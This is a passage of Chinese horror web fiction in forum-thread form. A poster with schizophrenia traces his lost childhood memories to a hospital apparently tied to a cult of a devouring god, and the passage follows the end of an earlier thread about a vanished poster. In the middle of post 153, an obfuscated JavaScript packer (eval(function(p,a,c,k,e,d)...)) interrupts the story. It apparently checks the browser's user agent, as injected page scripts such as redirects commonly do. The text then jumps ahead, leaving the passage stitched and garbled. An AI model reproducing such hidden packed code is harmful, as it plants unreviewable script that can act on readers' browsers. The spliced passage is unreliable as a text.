弄拙成巧 我跑不了了 我的门在响 有人在敲门 我看了一眼猫眼 是那个女人 她踮着脚站在我家门口 眼睛依旧睁得大大的 但我看到她笑了 嘴角慢慢地、慢慢地往上翘 翘到了一个人类不可能达到的角度 152L LZ 弄拙成巧 她开口了 我听不到她在说什么 但我知道 她在说 “我来取你的眼睛了” 7/16 14:36 153L 林中霁色 楼主? 154L 天天向下 楼楼??? 7/16 16:28 155L 墨色 有没有人能联系上楼主 156L 夜猫子不睡觉 我已经打了好几次110了 他们说已经出警了 让我等消息 7/17 08:30 157L 山重水复 有人知道后续吗 158L 夜行灯 我一直在点刷新…… 没有新消息 159L 云雀 怎么办,好担心啊 7/17 10:47 160L 林中霁色 我刚刚接到警察打来的电话了。 他们说去了楼主家,门是开着的,但家里没有人。 楼下那家人也是。 屋子里很干净。 但是…… 在地板的缝隙里,他们发现了那块黑布,黑布包着一样东西。 161L 山石木旁客 什么东西 162L 林中霁色 一个玩偶。 应该是楼主自己织的那个,他之前说送给邻居了,但现在出现在他自己家的地板下面。 玩偶的眼睛被挖掉了, 嘴巴被缝上了, 耳朵的位置插着两根针。 黑布背面写着三个字…… 163L 林中霁色 不对。 之前楼主不是说那是他的名字吗?不可能。 是谁的名字都不可能是楼主的。 164L 天天向下 为什么? 165L 林中霁色 楼主是男性。 而黑布上写的——是“陈囡”。 7/17 11:54 166L 墨色 ?什么意思,我没懂 167L 乐乐乐 楼主说谎了? 168L 命理 你怎么知道楼主是男的 169L 林中霁色 我看了这栋楼近几年的住户登记表。 170L 林中霁色 这套房子在过去三年里,换了五个租客,每个都只住了不到两个月。 档案上写的搬离原因都是“个人原因”,然后人就消失得无影无踪了。 171L 山石木旁客 哦哦 172L 日月星 林中你是房东吗? 173L 林中霁色 不。我只是恰好认识她而已。 7/17 15:01 174L 夜行灯 原来是那里吗…… 175L 左左右右 怎么了怎么了,那里有什么问题吗 176L天天向下 左左你回来了?! 177L 左左右右 刚写完今日份作业…… 7/17 15:16 178L 山重水复 所以,那五个租客现在在哪 179L 林中霁色 没有人知道。 7/17 17:21 180L 天天向下 楼楼怎么还没回来 我找林中和要了楼楼的电话,每隔半小时就会打一次,一直没人接…… 181L 夜行灯 如果楼主的耳朵已经被“收走了” 那他还能听到电话铃声吗 182L 墨色 别说了 求你别说了 7/17 18:15 183L 林中霁色 我联系了之前的一个租客,就是上一个住这套房子的人。 他在电话里只说了一句话: “你也会被听到的” 然后他挂了电话。 再打就是空号了。 184L 山石木旁客 什么意思 我们看这个帖子的人 也会被“听到”吗 185L 命理 建议不要再讨论这个了 有些事情 不知道比知道安全 186L 天天向下 可是楼主怎么办 那个小女孩怎么办 187L 林中霁色 我会继续关注这件事,有新消息会在论坛说。 但在此之前,大家注意安全。 如果有人也出了像楼主这样的事…… 188L 墨色 就搬走 立刻搬走 7/19 23:49 189L 夜行灯 友友们,我好像知道陈囡是谁了…… 190L 夜行灯 三年前那场雨夜杀人案,你们还记得吗。 191L 林中霁色 记得,据说是有个小女孩在野外被折磨后又被分.尸了,但犯人到现在也没找到—— 你的意思是……? 192L 浕 ……………… 193L 昨日春 陈囡就是那个小女孩 194L 夜行灯 对 195L 阿丘 真的假的,别吓我啊 196L 山重水复 那这样的话,楼主之前说谎是…… 197L 命理 希望不是我们想的那样吧 7/20 00:00 系统提示:该帖因涉及敏感内容已被管理员锁定,无法回复 [本帖已被归档] --- 最后编辑时间:2005年7月20日 00:00 本帖共有 471 人收藏,3,889 人浏览 18. 我好像失忆了 7/7 21:47 1L LZ 一水载舟 如题。 我知道这个标题看起来很中二,但我发誓,这是真的。我失忆了。不是那种“我是谁我在哪”的彻底失忆,而是——我的记忆里有一段空白。像书被撕掉了好几页,前后的内容都对不上号。 我试着跟医生说过这件事。医生说:“精神分裂症患者出现记忆障碍是常见的,可能是疾病本身的影响,也可能是药物的副作用。” 他说得很专业,很合理,但我总觉得不对。 那段空白里,好像有什么东西在看着我。 2L 天天向下 沙发!楼楼慢慢说 3L 左左右右 向下哥还是那么迅速 4L 天天向下 低调低调^ω^ 5L 今天也在赚钱养家 精神分裂症?楼楼要保重身体啊。不过……能具体说说吗? 7/7 21:58 6L LZ 一水载舟 就是……一种感觉。 有时候我会突然觉得背后有人。但我回头,什么都没有。 有时候我会做同一个梦。梦里我站在一条河边,河很宽,水很黑,看不见底。河对岸站着一个人,我看不清他的脸,但我知道他在看我。他站在那儿,一动不动,像棵树一样。 我想叫他,但发不出声音。我想过河,但脚像被钉在地上。然后我就醒了。 7L 海盐芝士 这个梦听起来好压抑……楼楼你有跟医生说过吗? 8L LZ 一水载舟 说过。医生说可能是潜意识在处理被压抑的记忆,让我不要太在意。他还给我调了药,说新药可能会改善睡眠质量。 确实改善了。我不怎么做那个梦了。 但那种阴冷的感觉还在。 9L 摸鱼事务所 楼楼你说的记忆的空白,大概是从什么时候到什么时候? 10L LZ 一水载舟 我现在的记忆是从大概十二岁开始的。再往前的事,我基本不太记得了。 我记得自己小时候改过名字,但为什么改、什么时候改的,我完全没印象。 我还记得自己得过精神分裂症,在释关一家医院住过三年多,但那三年里发生了什么,我也记不清了。 我有个奶奶,但她长什么样,说话是什么声音,我一点都想不起来。 医生说这很正常。药物加上疾病本身,确实会导致记忆缺失。可我还是觉得很怪。 7/7 22:26 11L 南瓜不说话 直觉往往是有道理的。楼楼你是从什么时候开始有这种感觉的? 12L LZ 一水载舟 很久了。大概从初中开始就有。但最近变得更强烈了。 比如前几天,我在超市买东西,路过调料区的时候,突然闻到一股很浓的香料味。不是货架上的味道,是从我脑子里冒出来的。那种味道很冲,像烧焦的木头混着血的味道。 然后我的脑海里闪过一个画面:一间很暗的屋子,地上画着红色的图案,图案中间放着什么东西。画面只闪了一下就没了,像电视信号不好时的雪花屏。 我站在调料区愣了至少五分钟。还是旁边的大妈问我是不是不舒服,手在我眼前晃了好几下我才反应过来。 13L 天天向下 红色的图案?什么样的? 14L LZ 一水载舟 没看清。太快了。但我记得那种红色……不是正常的红色。发黑,像干涸了很久的血。 7/7 22:53 15L 天天向下 楼楼你别吓我……你说的这些让我想起前几年的一个帖子。 16L 星野漫漫 什么帖子? 17L 天天向下 就是那个“感觉邻居信邪.教怎么办”的帖子。楼主在地板下面发现了画着符号的黑布,后来就不更新了。帖子也被锁了。 7/7 23:08 18L 北风那个吹 那个帖子我也看过。好像最后楼主出事了?记不太清了。 19L LZ 一水载舟 我没看过你们说的那个帖子。黑布什么的……我好像也有类似的记忆。 但我不确定。太模糊了。 20L 今天也在赚钱养家 楼楼你刚才说你是在释关的医院住的?具体叫什么名字? 我也是释关的,有点人脉,说不定能帮你查查。 21L 天天向下 我去还有人脉哥 22L LZ 一水载舟 释关康复医院。在郊区,很大的一家医院,有独立的病区。医院旁边还有一所学校,病情稳定的病人可以去上课。我就是在那里读的初中。 7/7 23:31 23L 摸鱼事务所 我在网上搜了一下这家医院……信息很少。官网上只写了成立时间、地址、科室设置,没有更详细的内容。医生的名单也没有。 24L 柳叶刀 这不对劲。我是医疗行业的,刚才查了一下这家医院的注册信息。民营医院,床位规模确实不小,但股东信息是空白的。这种体量的医院,工商登记不应该这么干净。 25L 星野漫漫 什么股东信息?初中生听不懂啊(p_q) 26L 柳叶刀 就是查不到谁在经营这家医院。只有一个法人代表的名字,但那个名字在别的注册信息里也查不到,很可能是挂名的。 27L LZ 一水载舟 ……你这么说,我也觉得有点奇怪了。 我试着回忆那家医院的样子。我记得病房是白色的,床单是蓝白条纹的,窗户外面有一棵树,很高,叶子很密。每天下午会有护士来发药,药片是白色的,很小,放在一次性杯子里。 但我想不起来任何一个医生的脸。一个都想不起来。 28L 北风那个吹 一个都想不起来吗?你在那里住了三年多,怎么可能一个医生都不记得? 29L LZ 一水载舟 我不知道。我以前从来没想过这个问题。但现在你一说,我才意识到——我真的一个都不记得。我记得那里种的花,栽的树,食堂里的饭菜,但医生……一个都想不起来。 或者说,那里的所有人我都想不起来了。 7/7 23:55 30L 海盐芝士 楼楼你问问你家人呢?他们总该记得吧? 31L LZ 一水载舟 我妈……三年前去世了。我爸在我很小的时候就走了。我妈说他是有苦衷的,要挣钱养家。但我知道,他是受不了家里的压力,跑了。我没见过他,也不知道他在哪。 我妈走后,我就是一个人了。 7/8 00:08 32L 芝士雪豹 ……抱抱楼楼。 33L 海盐芝士 对不起楼楼我不是故意的<(tot)> 34L LZ 一水载舟 没事的。 7/8 00:17 35L 南瓜不说话 楼楼你说你之前改过名字?原来叫什么? 36L LZ 一水载舟 我姓陈,改名之前单名一个“水”字。这是我最近才知道的。之前我一直以为自己从小就叫现在这个名字,直到我翻到一张小时候的照片,背面写着这个名字。 我问过我家以前的邻居,他们说好像确实有这么一回事,后来改了名。 但我完全不记得。 37L 天天向下 啊?直接说真名吗,这样不太好吧 38L LZ 一水载舟 没事,我也正想要找认识以前的我的人,万一能帮我想起什么呢。 7/8 00:29 39L 日月星 楼主这个名字挺特别的。方便问一下是谁起的吗? 40L LZ 一水载舟 听说是奶奶起的。我家往上数几代都跟水有关系,太爷爷是摆渡的,爷爷是修船的,我爸是渔民。到了我这一辈,奶奶说还是要跟水沾边。 她说:“一水载一舟。” 但我不记得她说这话时的样子了。我只知道有这件事,但不记得她的声音、她的表情、她说话时的手势。 医生说这叫“语义记忆保留,情景记忆缺失”。所以我什么感觉都没有。 41L 天天向下 听着好难受啊。明明是自己经历过的事,却像在看别人的故事。 42L LZ 一水载舟 是啊。但我也习惯了。毕竟从十二岁开始,我就是这样活着的。 43L 今天也在赚钱养家 我刚问了我干医疗的朋友,他说没听过这个医院。他在医疗界挺有名的,连他都不知道的医院……我对其正当性持怀疑态度。 44L 柳叶刀 赚钱哥的朋友是谁?也是释关的吗,那我们可能认识 45L 今天也在赚钱养家 嗯。他是释关第一人民医院的副院长,你应该知道? 46L 柳叶刀 ……………… 47L 柳叶刀 那是我顶头上司(/_\) 48L 南瓜不说话 哈哈哈哈哈哈哈哈 7/8 00:36 49L LZ 一水载舟 嗯……目前来说只有这些了。 50L 天天向下 楼楼好好休息! 51L LZ 一水载舟 好。 7/10 21:03 52L LZ 一水载舟 更新一下。 我回了一趟老房子,想找找有没有什么关于小时候的东西。 老房子在城东的老小区,我妈走后一直没人住。我开门进去的时候,里面全是灰。我在储物间翻了一个下午,找到了一箱旧东西——我妈的相册、一些文件、还有几本我小时候的作业本。 作业本上的名字写的是“陈水”。 我在箱底找到了一张照片。是出院时拍的集体照,照片背面写了日期和每个人的名字。日期是九年前的夏天,名字有十几个,大部分我都不认识——也可能是我不记得了。 53L LZ 一水载舟 但我注意到了一件事。 那张照片的背景是一面墙,墙上挂着一块牌子,上面写着“释关康复医院·儿童病区”。 牌子下面还有一行小字。我拿放大镜看了半天,辨认出来了: “天尨神保佑”。 54L 浕 ……什么神? 55L 星野漫漫 是我学历不够吗我怎么不会读这个字??? 56L 天天向下 没事高中生也不会 不对,医院里怎么会挂这种牌子???这不是邪教吗??? 57L 北风那个吹 那个字念“mang”,二声,狗的意思,天尨指的就是天狗。 我去搜了一下“天尨神”,搜出来都是日本神话里的天狗。但那种天狗是红色的长鼻子妖怪,跟医院有什么关系? 58L 摸鱼事务所 天狗在日本神话里是山里的妖怪,也有被认为是神的。但中国的天狗是另一种东西——吞吃日月的那个。 59L 芝士雪豹 天狗?我小时候经常听这个故事…… 7/10 21:32 60L LZ 一水载舟 吞东西…… 我小时候就是总爱吞东西。石头、硬币、橡皮、金鱼。什么都吞。 但我控制不住自己。 61L 南瓜不说话 楼楼你说的这个……天狗吞日月,你吞东西……这之间会不会有关系? 62L LZ 一水载舟 看到那行字的时候,我的头突然疼得厉害。像有人拿锤子从里面往外砸。 然后我蹲在地上吐了。 吐出来的东西黏糊糊的,像胆汁一样,但是黑色的。 63L 海盐芝士 黑色???楼楼你没事吧???去医院了吗??? 64L LZ 一水载舟 去了。急诊。医生检查了,说没什么问题,可能是吃坏了东西。但我吃的都是正常食物,没有黑色的东西。 65L 山重水复 纯黑色的呕吐物……真的不是喝了墨水吗? 我小时候就干过这种事(^_-) 66L 林中霁色 …………你还好意思说………… 67L 柳叶刀 纯黑色的呕吐物,如果不是吃了黑色食物,可能是消化道出血,但出血量很大且位置较高的时候才会出现。还有一种可能是——吞了什么东西,比如活性炭、墨水之类的。 68L LZ 一水载舟 我不会吞那些。我已经很多年不吞东西了。 但那天从医院回来之后,我又开始有那种感觉了。饿。整个人每个部位都在叫嚣着饿。 我吃了好多东西才勉强压住。 7/10 22:04 69L 星野漫漫 楼楼你要不要再去看一下医生?感觉这已经超出普通精神科的范畴了…… 70L LZ 一水载舟 我去了。换了一家医院,挂了一个专家号。老专家看了我的病历,问了我很多问题,最后告诉我没什么问题。 我问他:“有没有可能我的失忆不是因为疾病,而是别的原因?” 他看了我一眼。那一眼很奇怪,不是医生看病人的眼神,更像是——警惕。 他说:“你想多了。好好休息。” 然后他按了桌上的铃,让护士带我出去。 71L 北风那个吹 警惕???医生为什么会露出警惕的眼神??? 72L 摸鱼事务所 楼主,我有个猜测。可能有点离谱,你姑且一听。 你刚才说,你在释关医院的集体照上看到“天尨神保佑”这几个字。如果那家医院真的跟某个邪神有关系,那你的病、你的失忆、你的“饥饿感”,可能都不是普通的疾病。 你被影响过。可能被治疗过,也可能被……处理过。 而那些医生——包括你现在遇到的医生——可能都是那个邪神的人。 73L 芝士雪豹 这也太阴谋论了吧…… 74L 摸鱼事务所 我知道这听起来像阴谋论,但你们能想到别的可能吗? 楼主说的那些东西——红色图案、记忆空白、呕吐黑色物质——都不是正常精神分裂症该有的症状。 而且,“天尨”这个名字让我很在意。天狗是吞吃日月的。楼主小时候会克制不住的吞东西。这真的只是巧合吗? 75L LZ 一水载舟 你说得对。我也觉得不是。 我一直在吃药,一直在配合治疗,我的症状确实在好转。但那种阴冷的感觉从来没有消失过。它像一根刺,扎在我脑子里,提醒我有什么东西不对。 我感觉好累。 7/13 20:15 76L LZ 一水载舟 我又做了一个梦。 一个新的梦。 梦里我站在一条走廊里,走廊很长,两边都是白色的门。门关着,上面有编号。我往前走,走得很慢,脚下的地砖是黑白相间的,像是一个棋盘。 走到第十三号门的时候,门开了。 里面很暗,看不清有什么。但我能闻到味道——就是之前在超市闻到的那种,烧焦的木头混着血的味道。 然后我听见一个声音。不是从门里传出来的,是从我脑子里响起来的。很低,很沉,像什么东西在喉咙里咕噜。 那个声音说:“你回来了。” 我就醒了。 77L 北风那个吹 “你回来了”??? 这话说得好像楼楼以前去过那个地方一样。 78L 摸鱼事务所 楼楼,你确定你以前没去过那扇门后面吗? 79L LZ 一水载舟 我不确定。我真的不确定。 有时候我觉得那些碎片——香料的味道、红色的图案、白色的走廊——都是真实发生的。只是被什么东西盖住了,像用灰埋住了火,看着灭了,其实底下还是热的。 80L 摸鱼事务所 楼楼你有没有想过,你的失忆可能不是病,而是……有人故意让你忘掉的? 81L LZ 一水载舟 想过。但我不敢深想。 因为如果真的是有人让我忘掉的,那他们为什么要这么做?我小时候到底经历了什么? 82L 林中霁色 楼主你之前在那个医院的时候,有没有认识什么的朋友?或许可以联系一下问问。 83L LZ 一水载舟 我不清楚。而且就算有,我也没他们的联系方式了。 84L 星野漫漫 试着找找看呢?说不定能找到。 85L LZ 一水载舟 我试试吧。 7/15 19:30 86L LZ 一水载舟 我在老房子的箱子里翻到了——几封信。 是个病友写给我的。信里写的是些小孩之间的闲话,什么“今天食堂的红烧肉好吃”“护士姐姐今天凶我了”之类的。 最后一封信的日期是我出院前一周。信里写了这么一段: “他们说你要走了。我真替你高兴。但你走了之后,就没人陪我玩了。你能不能答应我,不要忘记我?不要忘记这里的事?他们说你会忘掉,但我不信。你是最聪明的,你一定不会忘的,对吧?” 87L 星野漫漫 “他们说你会忘掉”——谁说的?医生吗? 88L LZ 一水载舟 不知道。 但他们说对了。我真的忘了。 7/15 19:52 89L 柳叶刀 这封信看得我心里发毛……这医院到底在是治病还是在洗脑啊? 90L 今天也在赚钱养家 楼楼你还能联系上这个写信的人吗?信上有地址吗? 91L LZ 一水载舟 有。信封上写着名字和地址。是京郊的一个小区。我试着搜了一下,那个小区还在。 我打算周末去一趟,看看能不能找到。 92L 北风那个吹 楼楼你一个人去吗?注意安全啊。 93L LZ 一水载舟 我会小心的。到时候再来更新。 94L 天天向下 等你哦楼楼。 7/16 15:00 95L LZ 一水载舟 我找到他了。 但他已经不叫那个名字了。他改了名。 我们约在他家附近的一个咖啡厅见面。他比我记忆里高了很多,胖了一些,脸上有点没刮干净的胡茬,看起来就是个普通的青年男人。但他说第一句话的时候,我就认出了他的声音。 他说:“真的是你?” 他说他记得我。记得那个医院,记得我们的病房,记得护士姐姐,记得食堂的红烧肉。 但他不记得“天尨神”。不记得那块牌子。不记得任何和“神”有关的事。 他说:“什么牌子?我完全不记得。咱们医院有那种东西吗?” 我给他看了那张集体照。他盯着照片看了很久,然后说:“咱们什么时候照的这张相?我怎么一点印象都没有……” 他看起来不像在说谎。 96L 星野漫漫 所以他也失忆了?只不过他不像你一样知道自己失忆了? 97L LZ 一水载舟 可能吧。他看起来完全不知道那些事。他说他在医院待了两年,出院之后就正常上学、正常生活,偶尔会想起一些医院的事,但都是些日常琐事。什么“天尨神”,他从来没听说过。 98L 南瓜不说话 这也太奇怪了。一张照片上十几个人,难不成只有楼楼一个人记得那块牌子? 7/16 15:32 99L LZ 一水载舟 我不知道。 我问他:“你出院之后,有没有觉得自己少了什么?” 他想了一会儿,说:“没有。就是有时候会做一些奇怪的梦。梦见一条走廊,两边都是白色的门。但醒来就忘了。” 我的血一下子凉了。 100L 芝士雪豹 他也做了那个梦??? 101L 浕 所以不止楼主一个人?所有在那间医院住过的病人都有这种经历? 102L 摸鱼事务所 我在想,释关医院可能不是普通的康复医院。它可能在做某种……实验?或者仪式?而“天尨神”是这一切的核心。 病人出院的时候,记忆会被清除。但清除不干净,会留下碎片——比如那个走廊的梦。 楼主能记得那块牌子,可能是因为……你比较特殊? 103L LZ 一水载舟 可我也只是一个普通人啊…… 104L 阿丘 搞不懂,楼楼要不再去那个医院探查探查? 105L LZ 一水载舟 再说吧…… 7/19 20:15 106L LZ 一水载舟 我又做了一个梦。这次不是走廊。 是那条河。和以前一样的河,黑水,看不见底。 但这一次,河对岸的那个人——我看清他的脸了。 是我自己。 或者说,是一个长得和我一模一样的人。但他比我大一些,大概二十多岁。他站在河对岸,看着我,嘴角带着笑。 他说:“你来了。” 我说:“你是谁?” 他说:“我是你。” 我说:“你不是我。” 他笑了。那个笑容很奇怪,不像笑,更像……饿。像一只饿了很久的野兽,终于看见了食物。 他说:“你会想起来的。很快。” 然后我醒了。 107L 星野漫漫 天哪……楼主你现在还好吗? 108L LZ 一水载舟 还好。就是有点反胃。 总感觉……被什么东西盯上了。 109L 今天也在赚钱养家 楼主你要不要去找个寺庙或者道观什么的?感觉这已经不是医学能解决的问题了…… 110L 柳叶刀 我也这么觉得。楼主,我不是在开玩笑,你可能真的被什么东西缠上了。 111L 摸鱼事务所 如果“天尨神”真的是一个邪神,那楼主的症状——“饥饿感”、吞东西的冲动、记忆被清除——都指向一个方向:楼主可能被选为某种“容器”。 那个河对岸的“你”,可能就是天尨神的一部分。或者……是天尨神想让你变成的东西。 112L LZ 一水载舟 ……………… 113L LZ 一水载舟 我什么也不想变。 114L 浕 那些东西才不管你想不想。 115L 林中霁色 楼主,你说你小时候吞过金鱼。三条活的。你有没有想过,你可能吞过别的东西?你有没有什么找不见了的东西? 116L LZ 一水载舟 我不知道……我真的不知道。 但那种饿的感觉,最近越来越强烈了。我的胃永远也填不饱,就像、就像有什么东西吞掉了所有我吃进去的东西,并且永不满足…… 117L 昨日春 天呐,好可怕=???? =?????( ?Д`)? 7/19 21:12 118L 北风那个吹 楼主你要小心啊。我查了一下天狗的传说。天狗不只是吞日月,它还被认为是带来灾祸的妖怪。有时候它也会附在人身上,让人发狂。 119L 天天向下 这不就是精神分裂的症状吗?发狂、幻觉、吞东西…… 120L LZ 一水载舟 所以……我的病可能不是病?而是天尨神…… 或者说,天尨神就是我的病。 不管是什么原因,我得弄清楚。 我决定了。我要回那家医院去看看。虽然医院已经不在了,但至少要去那片空地看看。 121L 海盐芝士 楼主你冷静一点!如果那家医院真的有问题,你一个人回去太危险了! 122L 星野漫漫 对啊!而且你现在身体也不稳定,万一在路上发病了怎么办? 123L LZ 一水载舟 我必须去。这是我唯一能找回那些记忆的办法。 我不会一个人去的。我让那个病友陪我。他答应我了。 124L 林中霁色 那就好。至少有人陪着。楼主你一定要小心,有什么情况随时上来更新。 125L LZ 一水载舟 会的。 7/22 13:30 126L LZ 一水载舟 我去了。和他一起。 释关区柳河路17号,现在是一片空地。围挡已经拆了,地上长满了草。什么都没有了。 我和病友分头去找。他那边没发现什么特别的。 但我在空地的角落里找到了一样东西。 一块地砖。黑白相间的,像棋盘。 和梦里一模一样。 127L 北风那个吹 ……我的天。 128L LZ 一水载舟 我蹲下来看那块地砖。它嵌在土里,周围都是草,如果不是仔细看根本发现不了。我用手把土拨开,发现地砖上刻着几个字。 很小,但能看清。 “十三”。 129L 浕 十三号门…… 130L 星野漫漫 楼主你没事吧???你现在感觉怎么样??? 131L LZ 一水载舟 我没事。看到那块地砖的时候,我的头又开始疼了。但没有之前那么厉害。 我蹲在那儿,盯着那个“十三”看了很久。然后我做了一个决定。 我把那块地砖撬起来了。 132L 山重水复 楼主你胆子可真大…… 133L LZ 一水载舟 过奖。 7/22 13:51 134L LZ 一水载舟 地砖下面有一个洞。不大,大概脸盆那么大。洞里放着一个铁盒子,锈得很厉害,但还能打开。 盒子里有两样东西。一张照片,和一封信。 照片上是两个人。一个是我——小时候的我,大概八九岁的样子。另一个是一个女人,穿着白大褂,戴着口罩,看不清脸。她站在我身后,手搭在我的肩膀上。 我的手放在胸口。手里攥着什么东西,看不清。 135L 昨日春 信上写了什么? 7/22 14:03 136L LZ 一水载舟 [图片加载中……] (信是用铅笔写的,字迹歪歪扭扭,却十分用力,像是在抵抗着什么) “我叫陈水。我不喜欢这个名字,同学们都说它怪,是没文化的人取的。可是奶奶说,我命里缺水,可三点水太少,三个水太多。一个就够了,一水载一舟,刚刚好。 他们想让我忘掉。我不想忘,所以我要写下来,我不能让他们得逞。 那个地方有神。他们说神会保佑我。但神比他们还可怕,祂的嘴太大了,一直在吃东西。” 137L LZ 一水载舟 [图片加载中……] “他们不给我吃饭了。 我好饿。神面前的食物好香,可是我吃不到。 我已经三天没有吃饭了。 我好饿。” 138L LZ 一水载舟 [图片加载中……] “我忍不住了,我去偷了神的食物,神好像没发现。 好香。” 139L LZ 一水载舟 [图片加载中……] “好饿。 为什么这么饿。” 140L LZ 一水载舟 [图片加载中……] “我吃不下了。” 141L LZ 一水载舟 [图片加载中……] “好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿好饿” 7/22 14:44 142L 阿丘 ……………… 143L 林中霁色 ……………… 144L 山重水复 ……楼主,你现在还好吗? 7/22 14:51 145L LZ 一水载舟 我没事。 我完全没这个印象。 146L LZ 一水载舟 但看到这封信的时候,我的手在发抖。 不是害怕,是——一种恍然大悟。 原来是这样。原来那些空白不是被抹掉的,是我自己藏起来的。我把它们藏在了一个我自己都找不到的地方,这样就不用害怕了。 但我还是找到了。 147L 今天也在赚钱养家 楼楼……你现在打算怎么办? 148L LZ 一水载舟 把那封信带回家。然后继续活着。 知道真相不会改变什么。我还是有病,还是会饿,还是会被那种感觉困扰。但至少我知道了——那不是我的错。不是病,不是遗传,是有什么东西找上了我。 是神。或者是别的什么。但不管祂是什么,祂还在看着我。 我能感觉到。 149L 浕 ……………… 150L 浕 就这样不管了吗? 151L LZ 一水载舟 嗯。管了又有什么用呢? 我又打不过祂。还不如在祂找过来之前,赶紧好好享受一番呢。 152L 浕 ……好。 7/22 16:18 153L 摸鱼事务所 我有个问题。 楼楼说感觉还在被“祂” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不说话了?之前不是还说话来着吗? 164L LZ 一水载舟 对。那次之后就不说了。他只是站在那里,看着我。 有时候我觉得他也在等。等我想起来。等我说些什么话。 但我不知道该说些什么。 165L 林中霁色 楼主有没有想过,也许那句话就在你那些丢失的记忆里? 166L LZ 一水载舟 也许吧。但我不知道该怎么找回来。我已经去过释关了,找到了那封信,但记忆还是没有回来。我只是“知道”了那些事,不是“记得”。 医生说这已经很好了。很多病人连“知道”都做不到。 7/25 21:06 167L 柳叶刀 楼主,方便说一下你在吃的是什么药吗?我帮你查查有没有什么副作用是跟记忆相关的。 168L LZ 一水载舟 奥氮平,每天10毫克。吃了很多年了。 169L 柳叶刀 奥氮平确实可能会有影响记忆的副作用,但主要是短期记忆和注意力。像你这种整段童年记忆丢失的情况,不是药物的典型副作用。 170L 今天也在赚钱养家 所以还是那个什么“天尨神”的问题…… 171L LZ 一水载舟 也许吧。但我现在不想纠结这个了。不管是什么原因,我都得带着这个“饿”继续活下去。我习惯了。 7/31 19:45 172L LZ 一水载舟 又翻到了一些东西。这次不是我的,是我妈的。 在老房子的箱子里,有一本她的日记。日期是我住院那段时间的。 大部分是些日常琐事,比如“今天去医院看他,他比上周胖了一点”“护士说他的情况在好转”。但有一页不太一样。 日期是我出院前一个月。只有短短几行。 [图片加载中……] “今天医生找我谈话。他们说他的病很特殊,普通的治疗手段不够。他们有一个‘特殊方案’,问我要不要试试。 我问是什么方案。医生没细说,只说‘不会伤害孩子’。 我签了字。我没有别的选择。” 173L 天天向下 “特殊方案”……应该就是使楼楼失忆的原因吧? 7/31 19:58 174L LZ 一水载舟 应该是。我妈不知道那是什么。她只是签了字。 我没办法怪她。她一个人带着一个有精神病的儿子,没有钱,没有帮手,她只能相信医生。 175L 北风那个吹 楼楼……你妈妈也不容易。 176L LZ 一水载舟 我知道。所以我从来没有怪过她。 日记最后一页是她去世前写的。日期是三年前。 [图片加载中……] “阿水,妈妈对不起你。小时候的事,你都不记得了。我不知道这是好事还是坏事。有时候我想告诉你,但我不敢。我怕你想起来会更痛苦。 原谅妈妈的自私。我这辈子做的最大的错事,就是在那张纸上签了字。 但我不后悔。因为你还活着。” 177L 星野漫漫 ………………我哭了??????????? 178L 林中霁色 楼主……你还好吗? 179L LZ 一水载舟 还好。其实看到这页的时候,我也哭了。 这是我这几年第一次哭。 我妈到最后都不知道那个“特殊方案”到底是什么。她只知道她的儿子活下来了,这就够了。 我没办法怪她。我谁都没办法怪。 8/2 21:00 180L LZ 一水载舟 最近那个梦变了。 不是走廊,也不是河。是一个房间。白色的房间,很小,没有窗户。房间中央有一张桌子,桌子上放着一个碗。 碗是空的。但我知道它曾经装过什么东西。 我站在门口,不敢进去。那个声音又来了——不是从门里,是从碗里。 “你在害怕。” 不是疑问,是陈述。 我说:“我不知道这是什么地方。” “你知道。你只是忘了。” 我沉默了很久。然后我说:“我不想想起来。” 那个声音也沉默了很久,又说:“我知道。” 然后我就醒了。 181L 浕 你这是……在跟那个“神”对话? 182L LZ 一水载舟 可能吧。我不清楚那到底是不是“神”。 183L 天天向下 越来越害怕了??????? 8/6 19:10 184L LZ 一水载舟 我又去了一趟释关。这次是一个人去的。 那片空地还是老样子。但我在那个“十三”地砖的位置又挖了挖,挖到了别的东西。 是一块骨头。很小。旁边还有几块碎布,黑色的,已经腐烂的差不多了。 我把东西埋回去了。 185L 星野漫漫 骨头???什么骨头??? 186L LZ 一水载舟 不知道。太小了,看不出来。 8/6 19:32 187L 北风那个吹 楼主……你说你小时候吞过金鱼。有没有可能你吞过别的……活的东西? 188L LZ 一水载舟 ……我不知道。 但那种“饿”的感觉,在挖到骨头的时候变得更强烈了。我整个人都在发抖。像有什么东西在我身体里醒过来了。 我蹲在地上,蹲了很久,等它平静下来才站起来。 189L 摸鱼事务所 楼楼你下次去的时候还是找个懂行的人陪你吧。这真的不是一个人能处理的事。 190L LZ 一水载舟 没有下次了。 那里已经被我翻遍了,不可能还有其他东西。目前没有新的线索,这个论坛就先告一段落吧。 我要学会和“祂”共处。像过去十年一样。 191L 浕 ……祝你成功。 192L LZ 一水载舟 谢谢。承你吉言。 9/1 10:00 193L LZ 一水载舟 今天是九月一号。 对我来说,这是一个新的开始。小时候,每年九月一号都是开学的日子。现在不是了,但我还是习惯在这一天做一些决定。 我决定放下它们了。 其实那些记忆已经在我身体里了。我不需要想起来,它们就在那儿。在我做过的梦里,在我写下的信里,在我妈的日记里,在那块写着“十三”的地砖里。 我不需要把它们挖出来。我只需要知道它们存在。 194L 南瓜不说话 楼主……你能这么想,真的很不容易。 9/1 10:13 195L LZ 一水载舟 前几天我又做了一个梦。不是走廊,不是河,不是白色的房间。 是我奶奶。她站在一条河边,但不是那条黑水的河。是清亮的河,能看见底下的石头。她站在岸边,手里拿着什么东西。 她看见我,笑了。 她说:“阿水,你来了。” 我说:“奶奶,我记不得你了。” 她说:“没关系。我记得你就够了。” 然后她把手里的东西递给我。是一艘小船。很小,纸折的。 她说:“一水载一舟。一个人就够了。” 然后我醒了。枕头是湿的,但这次不是害怕,也不是难过。是别的什么。 我说不清。 196L 海盐芝士 楼楼……这个梦好温暖。 197L LZ 一水载舟 嗯。我醒来之后,把那封信又看了一遍。 “一水载一舟。” 我现在终于知道这句话是什么意思了。 我不是水,我是那艘船。被“饿”化作的水裹挟着的船。水能载舟,也能覆舟。但不管怎么样,船是在水上的。船不能没有水,水也不能没有船。 也许这就是我存在的意义。 也许这就是祂选中我的原因。 